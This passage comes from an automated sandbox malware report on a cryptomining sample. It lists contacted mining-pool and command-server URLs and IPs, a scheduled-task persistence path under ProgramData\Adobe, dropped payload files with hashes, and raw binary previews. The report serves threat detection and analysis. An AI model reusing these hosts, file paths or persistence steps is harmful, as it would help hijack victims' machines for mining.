                              http://schemas.xmlsoap.org/soap/encoding/powershell.exe, 00000006.00000002.91839178457.000001721266E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.92832196401.000001FE001BD000.00000004.00000800.00020000.00000000.sdmpfalse
                                		high
                                http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000006.00000002.91963869375.0000017213836000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.91957768157.00000172137A6000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  https://go.micropowershell.exe, 00000006.00000003.91693535689.00000172145E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000003.91722803587.0000017214DBB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000003.91720863325.0000017214D35000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000003.91712536556.0000017214B12000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://pesterbdd.com/images/Pester.pnghpowershell.exe, 00000006.00000002.91962120114.000001721380B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.91963869375.0000017213836000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: malware
                                  		unknown
                                  https://contoso.com/Iconpowershell.exe, 00000006.00000002.91972509853.0000017222509000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://upx.sf.netAmcache.hve.26.drfalse
                                    		high
                                    https://github.com/Pester/Pesterpowershell.exe, 00000006.00000002.91963869375.0000017213836000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.91957768157.00000172137A6000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      http://www.carterandcone.comlgOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://www.founder.com.cn/cngOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://www.apache.org/licenses/LICENSE-2.0.htmlXzpowershell.exe, 00000006.00000002.91839178457.000001721266E000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        http://na.luckpool.net:3956/vbc.exe, 0000000D.00000002.96420170190.00000264AD3A2000.00000004.00000020.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://179.43.141.116/NLIFE.phpPFCIA.exe, 0000001D.00000002.96469769537.000000000400C000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://schemas.xmlsoap.org/wsdl/powershell.exe, 00000006.00000002.91839178457.000001721266E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.92832196401.000001FE001BD000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          http://www.jiyu-kobo.co.jp/gOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                          • Avira URL Cloud: safe
                                          		unknown
                                          https://github.com/Pester/Pesterhpowershell.exe, 00000006.00000002.91962120114.000001721380B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.91963869375.0000017213836000.00000004.00000800.00020000.00000000.sdmpfalse
                                            		high
                                            http://www.apache.org/licenses/LICENSE-2.0.htmlhpowershell.exe, 00000006.00000002.91962120114.000001721380B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.91963869375.0000017213836000.00000004.00000800.00020000.00000000.sdmpfalse
                                              		high
                                              http://f0758246.xsph.ru/-1001843156960onvbc.exe/zima.php?mine=XMR/zima.php?mine=OTHERapgenzxcphonkidPFCIA.exe, 0000001D.00000002.96469769537.000000000400C000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		high
                                                https://aka.ms/pscore68powershell.exe, 00000006.00000002.91830440067.00000172124A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.92814546028.000001FE00001000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  		high
                                                  http://f0758246.xsph.ru/PFCIA.exe, 0000001D.00000002.96469769537.000000000400C000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high
                                                    http://na.luckpool.net:3956vbc.exe, 0000000D.00000002.96420170190.00000264AD3A2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    https://oneget.orgpowershell.exe, 00000006.00000002.91957768157.00000172137A6000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    http://pesterbdd.com/images/Pester.pngXzpowershell.exe, 00000006.00000002.91839178457.000001721266E000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    • Avira URL Cloud: malware
                                                    		unknown

                                                    World Map of Contacted IPs

                                                    • No. of IPs < 25%
                                                    • 25% < No. of IPs < 50%
                                                    • 50% < No. of IPs < 75%
                                                    • 75% < No. of IPs

                                                    Public IPs

                                                    IPDomainCountryFlagASNASN NameMalicious
                                                    149.56.27.47
                                                    		na.luckpool.netCanada
                                                    		16276OVHFRtrue
                                                    179.43.141.116
                                                    		unknownPanama
                                                    		51852PLI-ASCHtrue
                                                    141.8.192.151
                                                    		f0758246.xsph.ruRussian Federation
                                                    		35278SPRINTHOSTRUfalse

                                                    Private

                                                    IP
                                                    192.168.11.1

                                                    General Information

                                                    Joe Sandbox Version:36.0.0 Rainbow Opal
                                                    Analysis ID:777145
                                                    Start date and time:2023-01-03 08:12:53 +01:00
                                                    Joe Sandbox Product:CloudBasic
                                                    Overall analysis duration:0h 20m 19s
                                                    Hypervisor based Inspection enabled:false
                                                    Report type:full
                                                    Sample file name:gOKMPhOLiN.exe
                                                    Cookbook file name:default.jbs
                                                    Analysis system description:Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
                                                    Run name:Suspected Instruction Hammering
                                                    Number of analysed new started processes analysed:30
                                                    Number of new started drivers analysed:0
                                                    Number of existing processes analysed:0
                                                    Number of existing drivers analysed:0
                                                    Number of injected processes analysed:0
                                                    Technologies:
                                                    • HCA enabled
                                                    • EGA enabled
                                                    • HDC enabled
                                                    • AMSI enabled
                                                    Analysis Mode:default
                                                    Analysis stop reason:Timeout
                                                    Detection:MAL
                                                    Classification:mal100.evad.mine.winEXE@31/20@2/4
                                                    EGA Information:
                                                    • Successful, ratio: 25%
                                                    HDC Information:
                                                    • Successful, ratio: 1% (good quality ratio 0.7%)
                                                    • Quality average: 52.5%
                                                    • Quality standard deviation: 34.8%
                                                    HCA Information:
                                                    • Successful, ratio: 64%
                                                    • Number of executed functions: 62
                                                    • Number of non-executed functions: 13
                                                    Cookbook Comments:
                                                    • Found application associated with file extension: .exe
                                                    • Sleeps bigger than 100000000ms are automatically reduced to 1000ms

                                                    Warnings

                                                    • Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, backgroundTaskHost.exe, WmiPrvSE.exe, svchost.exe
                                                    • Excluded IPs from analysis (whitelisted): 52.182.143.212
                                                    • Excluded domains from analysis (whitelisted): wdcpalt.microsoft.com, client.wns.windows.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, blobcollector.events.data.trafficmanager.net, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, wdcp.microsoft.com
                                                    • Execution Graph export aborted for target PFCIA.exe, PID 6552 because there are no executed function
                                                    • Execution Graph export aborted for target powershell.exe, PID 3468 because it is empty
                                                    • Not all processes where analyzed, report is missing behavior information
                                                    • Report size exceeded maximum capacity and may have missing behavior information.
                                                    • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                    • Report size getting too big, too many NtCreateKey calls found.
                                                    • Report size getting too big, too many NtOpenKeyEx calls found.
                                                    • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                    • Report size getting too big, too many NtQueryAttributesFile calls found.
                                                    • Report size getting too big, too many NtQueryValueKey calls found.
                                                    • Report size getting too big, too many NtReadVirtualMemory calls found.
                                                    • Report size getting too big, too many NtSetInformationFile calls found.

                                                    Simulations

                                                    Behavior and APIs

                                                    TimeTypeDescription
                                                    08:15:40Task SchedulerRun new task: PFCIA path: C:\ProgramData\Adobe\PFCIA.exe

                                                    Joe Sandbox View / Context

                                                    IPs

                                                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                    149.56.27.47file.exeGet hashmaliciousBrowse
                                                      plNPQ5etZ3.exeGet hashmaliciousBrowse
                                                        W4ntFc89FG.exeGet hashmaliciousBrowse
                                                          sOj0q7Np4V.exeGet hashmaliciousBrowse
                                                            179.43.141.116xW75z4riiD.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116/DLIMSORRY.php
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116/DLIMSORRY.php
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116/DLIMSORRY.php
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116/DLIMSORRY.php
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116/DLIMSORRY.php
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116/DLIMSORRY.php
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116/DLIMSORRY.php
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116/DLIMSORRY.php
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116/DLIMSORRY.php
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116/DLIMSORRY.php
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116/DLIMSORRY.php
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116/DLIMSORRY.php
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116/DLIMSORRY.php
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116/DLIMSORRY.php
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116/DLIMSORRY.php
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116/DLIMSORRY.php
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116/DLIMSORRY.php
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116/DLIMSORRY.php
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116/DLIMSORRY.php
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116/DLIMSORRY.php

                                                            Domains

                                                            MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                            na.luckpool.netfile.exeGet hashmaliciousBrowse
                                                            • 149.56.27.47
                                                            file.exeGet hashmaliciousBrowse
                                                            • 149.56.27.47
                                                            file.exeGet hashmaliciousBrowse
                                                            • 149.56.27.47
                                                            file.exeGet hashmaliciousBrowse
                                                            • 149.56.27.47
                                                            file.exeGet hashmaliciousBrowse
                                                            • 149.56.27.47
                                                            Setup.exeGet hashmaliciousBrowse
                                                            • 149.56.27.47
                                                            POX4RApi2d.exeGet hashmaliciousBrowse
                                                            • 149.56.27.47
                                                            file.exeGet hashmaliciousBrowse
                                                            • 149.56.27.47
                                                            file.exeGet hashmaliciousBrowse
                                                            • 149.56.27.47
                                                            file.exeGet hashmaliciousBrowse
                                                            • 149.56.27.47
                                                            Qeh843KFOM.exeGet hashmaliciousBrowse
                                                            • 149.56.27.47
                                                            eakFy9TvCC.exeGet hashmaliciousBrowse
                                                            • 149.56.27.47
                                                            SecuriteInfo.com.Win32.BotX-gen.23615.11736.exeGet hashmaliciousBrowse
                                                            • 149.56.27.47
                                                            84GfCxwOem.exeGet hashmaliciousBrowse
                                                            • 149.56.27.47
                                                            wv3k6EdTN7.exeGet hashmaliciousBrowse
                                                            • 149.56.27.47
                                                            8K4g48LNgj.exeGet hashmaliciousBrowse
                                                            • 149.56.27.47
                                                            2l2yCN24t9.exeGet hashmaliciousBrowse
                                                            • 149.56.27.47
                                                            0i3QfSVPRX.exeGet hashmaliciousBrowse
                                                            • 149.56.27.47
                                                            file.exeGet hashmaliciousBrowse
                                                            • 149.56.27.47
                                                            f0758246.xsph.rufile.exeGet hashmaliciousBrowse
                                                            • 141.8.192.151
                                                            file.exeGet hashmaliciousBrowse
                                                            • 141.8.192.151
                                                            file.exeGet hashmaliciousBrowse
                                                            • 141.8.192.151
                                                            file.exeGet hashmaliciousBrowse
                                                            • 141.8.192.151
                                                            file.exeGet hashmaliciousBrowse
                                                            • 141.8.192.151
                                                            file.exeGet hashmaliciousBrowse
                                                            • 141.8.192.151
                                                            file.exeGet hashmaliciousBrowse
                                                            • 141.8.192.151
                                                            file.exeGet hashmaliciousBrowse
                                                            • 141.8.192.151
                                                            file.exeGet hashmaliciousBrowse
                                                            • 141.8.192.151

                                                            ASNs

                                                            MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                            PLI-ASCHxW75z4riiD.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116
                                                            EMS1277643414202#U5bc4#U51fa#U00b7.exeGet hashmaliciousBrowse
                                                            • 81.17.18.198
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116
                                                            file.exeGet hashmaliciousBrowse
                                                            • 179.43.141.116
                                                            OVHFRxW75z4riiD.exeGet hashmaliciousBrowse
                                                            • 51.255.34.118
                                                            file.exeGet hashmaliciousBrowse
                                                            • 5.135.247.111
                                                            file.exeGet hashmaliciousBrowse
                                                            • 5.135.247.111
                                                            file.exeGet hashmaliciousBrowse
                                                            • 5.135.247.111
                                                            file.exeGet hashmaliciousBrowse
                                                            • 5.135.247.111
                                                            GsixVTA6hs.exeGet hashmaliciousBrowse
                                                            • 51.210.137.6
                                                            file.exeGet hashmaliciousBrowse
                                                            • 5.135.247.111
                                                            file.exeGet hashmaliciousBrowse
                                                            • 5.135.247.111
                                                            file.exeGet hashmaliciousBrowse
                                                            • 5.135.247.111
                                                            file.exeGet hashmaliciousBrowse
                                                            • 5.135.247.111
                                                            file.exeGet hashmaliciousBrowse
                                                            • 5.135.247.111
                                                            file.exeGet hashmaliciousBrowse
                                                            • 5.135.247.111
                                                            XnMpb4bCx6.exeGet hashmaliciousBrowse
                                                            • 147.135.62.202
                                                            file.exeGet hashmaliciousBrowse
                                                            • 5.135.247.111
                                                            file.exeGet hashmaliciousBrowse
                                                            • 5.135.247.111
                                                            file.exeGet hashmaliciousBrowse
                                                            • 5.135.247.111
                                                            file.exeGet hashmaliciousBrowse
                                                            • 5.135.247.111
                                                            file.exeGet hashmaliciousBrowse
                                                            • 5.135.247.111
                                                            file.exeGet hashmaliciousBrowse
                                                            • 5.135.247.111
                                                            file.exeGet hashmaliciousBrowse
                                                            • 5.135.247.111

                                                            JA3 Fingerprints

                                                            ⊘No context

                                                            Dropped Files

                                                            MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                            C:\Users\user\AppData\Local\Temp\ghoul.exefile.exeGet hashmaliciousBrowse
                                                              file.exeGet hashmaliciousBrowse
                                                                file.exeGet hashmaliciousBrowse
                                                                  file.exeGet hashmaliciousBrowse
                                                                    file.exeGet hashmaliciousBrowse
                                                                      file.exeGet hashmaliciousBrowse
                                                                        file.exeGet hashmaliciousBrowse
                                                                          file.exeGet hashmaliciousBrowse
                                                                            file.exeGet hashmaliciousBrowse

                                                                              Created / dropped Files

                                                                              C:\ProgramData\Adobe\PFCIA.exe

                                                                              Download File
                                                                              Process:C:\Users\user\AppData\Local\Temp\ghoul.exe
                                                                              File Type:PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
                                                                              Category:dropped
                                                                              Size (bytes):337641472
                                                                              Entropy (8bit):0.034863767449674295
                                                                              Encrypted:false
                                                                              SSDEEP:12288:/zrc0xn4n7KTjcDDWcSXsuCC9FrHVVvPZFcmn6NJU+tzMBC1qf02Zxl:/zrt4nxavcuCsvPl6Na+MP
                                                                              MD5:97909699172AB2BE8E24FDC58CCE308E
                                                                              SHA1:F87D804C066C18029A982BD9B224EE78ECEB04B4
                                                                              SHA-256:3A5F42FFD319EB3CCB7791CC0728F070E1F82E8B3D4A41168ED470BE55F794A4
                                                                              SHA-512:1C8718E6FE53C42644E56B92775C062EDFDAAFCF0D87768E2ECC052D1AAE4CEDBED2AC0EDFF374F492118D7B3C35FAA023F3C8FBB8487B284FC2ACD1C979055C
                                                                              Malicious:true
                                                                              Antivirus:
                                                                              • Antivirus: Avira, Detection: 100%
                                                                              • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...o..........."...0.................. ....@...... .......................`............@...@......@............... ...............................@..:............................................................................................ ..H............text........ ...................... ..`.rsrc...:....@......................@..@........................................H........T...............R..p.....................................................................................................................................................................^HI\Z@MOAGEGAONNVVVVLPSInpy|`.gpFNK].Am`g#FSIJ$Rsu++AOnrqvcbyeZt..=......M3$*"'1Z/....,.......9.'$:0n....c.((tv..45)++9/.*#%3:.:....................................................................................................................OY.zkcinv...`ukh.zVMWIUO

                                                                              C:\ProgramData\Adobe\chromeupdater.dat

                                                                              Download File
                                                                              Process:C:\Users\user\AppData\Local\Temp\ghoul.exe
                                                                              File Type:data
                                                                              Category:dropped
                                                                              Size (bytes):4839952
                                                                              Entropy (8bit):7.999963906570517
                                                                              Encrypted:true
                                                                              SSDEEP:
                                                                              MD5:412FF258A6E1ABC84D63455FDCCFAF14
                                                                              SHA1:B34119A96F9F0F3F994A3996681AF99C013A8332
                                                                              SHA-256:F87A06752FD48643260A706FFC0B9F4B1C9EF0F152290437E566EE2551E18C84
                                                                              SHA-512:ED1A42ED5EBE311BCD26250CE00AFB3FD11F8C1ACB750B4B4917A4AD447DBE8067FF846DFCAE22327100D7FBCC4D1E38D946007287F0FEAE17B2115D31276413
                                                                              Malicious:false
                                                                              Preview:.....Y0.{.d...-s..sCu..RB..z..$.$F.2.b.............-.7V(.&]....w...q<..N.o..-....f.W0......2........G..r..y|.V.....-..w2H.1.S.....hx:.E.@q.\...Y...x./\&.H......xR..;...N8..w.....o...a...|rA.......|.b.E."=Y...u.d........_.J.....X.(;.....Sj...a....ex.A/..Z&.X...!..%.......euL..X.FI.E.]..%'.T....Z."..0..l....."pp.........[....e8..M7..)....L..h...?}.[S..n.....^...5a.B..~...9.,....d..../...?.k.l.I{+...I.l...?..S.$D.l.:.K.......t....oL#.PqQ..c...(60.6.s....f.'.b..q..6K.z.-......|v...I..]...m..>..c....K.d....9.u.......w.\;...$.#4v.W.C.....M.o..0.![s..xg.[tg........5..Jdv.?.7x........-..+j....r.i......hi1...@....%X.yAi.3l..g.H?.....>d.8..AI.....]Uv......@._.6..e.#.S...................;..u.7=nA..s9.hU...o...2p.B=<..xUv.I..mP..U..U.C.?.G..x.;7..5..S.gRlI...M.....G..le.k.W.j$........^..o.)z.....e.vr..2.y......,......~Jb..?oJ...&S .@.j.(..W(aj..L'..".U.q.....M..,.....?.J. '...."?.........X/vh...._.8......,{.....u....Y.........X<.*.u6

                                                                              C:\ProgramData\Adobe\chromium.dat

                                                                              Download File
                                                                              Process:C:\Users\user\AppData\Local\Temp\ghoul.exe
                                                                              File Type:data
                                                                              Category:dropped
                                                                              Size (bytes):670224
                                                                              Entropy (8bit):7.9997474047694075
                                                                              Encrypted:true
                                                                              SSDEEP:
                                                                              MD5:A5B3B8FA07FDFF608C76D4D2463E1793
                                                                              SHA1:8AC85A5AFECACE98377A2E33AB8C046E01ED74DB
                                                                              SHA-256:A4748FB90784B7606071BD242FE97A86B091E049018BB162C4C7B0FD591F5492
                                                                              SHA-512:B96654F1DF3FFEC423B4BB699544958D0DD1BD2A30E70E04BF1F0BB7BBF1DD5E25DD0CEE9D65EA35F0CFFDB77A489BA5356F9156E2A77328FA7E8480D6EF0302
                                                                              Malicious:false
                                                                              Preview:.....Y0.{.d...-s..sCu..RB..z..$.$F.2.b.............-.7V(.&]....w...q<..N.o..-....f.W0......2........G..r..y|.V.....-..wtcb."..#+..Gb ..<.`N.S@@....vZJ../.u...2.k../..v3.}..|&B.J..-...!..o..k..S.......9.i.....A.4....j.t.U..R.g.......i1...+.\.u...@_...Y....T:'62c.........db=....L....k-~.0I:3yCU%qF..Z?..yQ.8........{}...3.Exz.V.]....s......_.mL.SOa2...=].n(..q..."Y.HH....=j;....V.O.=Y/Q...jj...,.JZ.2.%..J..o.V.F....w?..(.../...;@..........D.@.3I.....J..qD.J.D.|F..W<Sl.,...C.......Z..|.Pa.......#s....x..P....r[..f;.K...t..InVsu.Z..u.C...........y^..I....NZ..8..H.3.......\X.=@........c=.p`.~.1.-....u......%....K...=k.Q:].r......J.t. ?H- ...!hY.....;..PZU.fp.:.x..B..u#..?4../......Z.q....=0..d....jjg.....tV..Y.....3..U...e...\....H~....C.8#......&.[..t.&!:n<.....^9H5Wi:..uX..G...U.f&..b.m..*C"...r5o...6.c<bq....O..N..'w{9....}.......0.'[..^......|5G.;..k..m@<.....~...q.{..)...qb.9x......s{.{E..1[t_....AO..#.....|wGvj."..k|!../..H.....c

                                                                              C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_PFCIA.exe_2e37360d97c191571aff81872de2e598e2e862d_0d29e491_acd708c2-a1e1-4a8e-8510-c8701b16c86e\Report.wer

                                                                              Download File
                                                                              Process:C:\Windows\System32\WerFault.exe
                                                                              File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                              Category:dropped
                                                                              Size (bytes):65536
                                                                              Entropy (8bit):1.3328757725773923
                                                                              Encrypted:false
                                                                              SSDEEP:
                                                                              MD5:FB52691868851B2AD3D603815BE98153
                                                                              SHA1:6758827BF0D15AA51A26BEC45B8E39C6DF54FD91
                                                                              SHA-256:E3A2F949720413FB34E6B3EB4B648B1E2221E9EAC3AF3032F6FA45E7FE625646
                                                                              SHA-512:918232A2B4EB502355E41CB3B3C61B82254F100958B147C04E20D0913A1987CF16C6D1B524BDFBA6329E7CE3C1D1E5FC0469145FC54EE20376CA53E86BBF867E
                                                                              Malicious:false
                                                                              Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.1.7.2.0.7.4.5.9.2.8.5.5.1.6.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.1.7.2.0.7.4.6.1.4.4.5.7.4.1.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.c.d.7.0.8.c.2.-.a.1.e.1.-.4.a.8.e.-.8.5.1.0.-.c.8.7.0.1.b.1.6.c.8.6.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.f.8.1.9.6.e.8.-.6.b.7.b.-.4.5.3.2.-.9.c.4.6.-.8.f.c.9.b.8.6.4.4.6.9.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.P.F.C.I.A...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.W.i.n.d.o.w.s.F.o.r.m.s.A.p.p.3...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.1.5.4.-.0.0.0.1.-.0.0.1.5.-.c.f.2.3.-.0.c.9.1.4.b.1.f.d.9.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.2.c.c.e.d.b.0.b.e.f.2.1.b.b.9.4.9.a.7.d.0.1.1.8.4.8.3.b.5.9.5.0.0.0.0.0.0.0.0.!.0.0.0.0.d.a.b.8.0.e.f.a.b.8.3.3.8.6.6.c.e.0.5.c.a.e.c.9.5.9.3.5.d.9.2.a.d.8.5.0.c.8.2.1.!.P.F.C.I.A...e.x.

                                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WER780E.tmp.dmp

                                                                              Download File
                                                                              Process:C:\Windows\System32\WerFault.exe
                                                                              File Type:Mini DuMP crash report, 16 streams, Tue Jan 3 08:17:39 2023, 0x1205a4 type
                                                                              Category:dropped
                                                                              Size (bytes):1417748
                                                                              Entropy (8bit):3.1918594103454168
                                                                              Encrypted:false
                                                                              SSDEEP:
                                                                              MD5:771E25966D3BDAD1A144541785582E1E
                                                                              SHA1:95CA058F108C9D6B9A04DC774D4BC067BB11175A
                                                                              SHA-256:EADFC677F8F52852EE4DF79934D067FF16F71EFA04CAD245F9FEFF78954F06F8
                                                                              SHA-512:588F4B8FAEF5AE7AA5CE36BADD18BD512F15CA234AE8A55CE8572400CBF61A19F8D865B015D1B660C876FD6CA7E247F0FBA0D5A5C1936674DB6C064BF339E1D9
                                                                              Malicious:false
                                                                              Preview:MDMP..a..... .........c............d...........$%..........<..../.........../.......U..............l.......8...........T............................C...........E..............................................................................bJ......TF......Lw......................T.......T...,.c....-........................0..................G.M.T. .S.t.a.n.d.a.r.d. .T.i.m.e...................................................G.M.T. .D.a.y.l.i.g.h.t. .T.i.m.e...................................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WER7CC2.tmp.WERInternalMetadata.xml

                                                                              Download File
                                                                              Process:C:\Windows\System32\WerFault.exe
                                                                              File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                              Category:dropped
                                                                              Size (bytes):9044
                                                                              Entropy (8bit):3.699325025103526
                                                                              Encrypted:false
                                                                              SSDEEP:
                                                                              MD5:3FEF53946C7ADA4D3057961EF0AB52C1
                                                                              SHA1:2274E716BEBB3D437439B52347C788A50BAC8CC3
                                                                              SHA-256:F4605A78FF8D338D0F36DDBF65FB50F6B6993B8B84950CBF5798492563BB968D
                                                                              SHA-512:E2E54635E9122373ED5CF62A38C1CBF468DD1836A8FE038A27FCC2DE4DF622549BD48AC26B5525EDB2463ED94F783445EA9C0DE483058811170D0A63E89DDE3C
                                                                              Malicious:false
                                                                              Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.2.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...1.1.6.5...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.1.6.5.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.4.3.6.<./.P.i.

                                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WER7D50.tmp.xml

                                                                              Download File
                                                                              Process:C:\Windows\System32\WerFault.exe
                                                                              File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                              Category:dropped
                                                                              Size (bytes):4985
